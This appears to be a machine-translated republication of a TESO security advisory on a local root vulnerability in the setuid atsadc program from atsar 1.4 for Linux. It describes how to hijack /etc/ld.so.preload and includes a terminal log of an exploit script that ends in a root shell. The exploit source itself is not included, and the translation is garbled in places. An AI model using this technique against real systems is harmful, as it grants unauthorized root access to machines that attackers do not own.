Linuxatsadc input file check Vulnerability

Article Title: Linuxatsadc input file check vulnerability. Linux is a technology channel of the IT lab in China. Includes basic categories such as desktop applications, Linux system management, kernel research, embedded systems, and open source.

Affected Systems:

AT Computing atsar 1.4-linux

+ Halloween Linux 4.0

Description:

Atsar is a load monitoring software package in Linux, produced by AT Computing. This software package contains a program atsadc

The setuid root bit is set. Atsadc accepts a parameter as the input file name and opens the file,

It does not check whether the user has the permission to read and write the file. When it is opened as root or the target file is created, the attack

Attackers may write arbitrary content to this file. Attackers may obtain root privileges locally by creating malicious system files.

Limits. For example, create a malicious shared library, add the library path to/etc/ld. so. preload, and then execute

A program with setuid root SET (for example,/usr/bin/passwd), then the malicious shared library will be pre-loaded and executed.

<* Source: krahmer

TESO advisory -- atsadc (http://teso.scene.at)

*>

Test method:

Alert

The following procedures (methods) may be offensive and are intended only for security research and teaching. Users are at your own risk!

Liane: [bletchley]> id-

Uid = 501 (bletchley) gid = 501 (bletchley) groups = 501 (bletchley)

Liane: [bletchley]> uname-

Linux liane.c-skills.de 2.2.13-13 #21 Thu Mar 2 10:36:13 WET 2000 i686 unknown

Liane: [bletchley]> stat 'which atsad'

File: "/usr/sbin/atsadc"

Size: 16000 Filetype: Regular File

Mode: (4755/-rwsr-xr-x) Uid: (0/root) Gid: (0/root)

Device: 3, 1 Inode: 117038 Links: 1

Access: Thu Mar 9 10:09:37 2000 (00000.01: 02: 49)

Modify: Tue Nov 9 23:57:50 1999 (00120.11: 14: 36)

Change: Tue Mar 7 14:55:23 2000 (00001.20: 17: 03)

Liane: [bletchley]> cd atsar-hack/

Liane: [atsar-hack]>./ass. pl

Creating hijack-lib...

Compiling hijack-lib...

Compile shell...

Invoking vulnerable program (atsadc )...

Sh: error in loading shared libraries:

Sh: error in loading shared libraries:

Welcome. But as always: BEHAVE!

Sh-2.03 # id-

Uid = 0 (root) gid = 0 (root) groups = 501 (bletchley)

Sh-2.03 #

[1] [2] Next page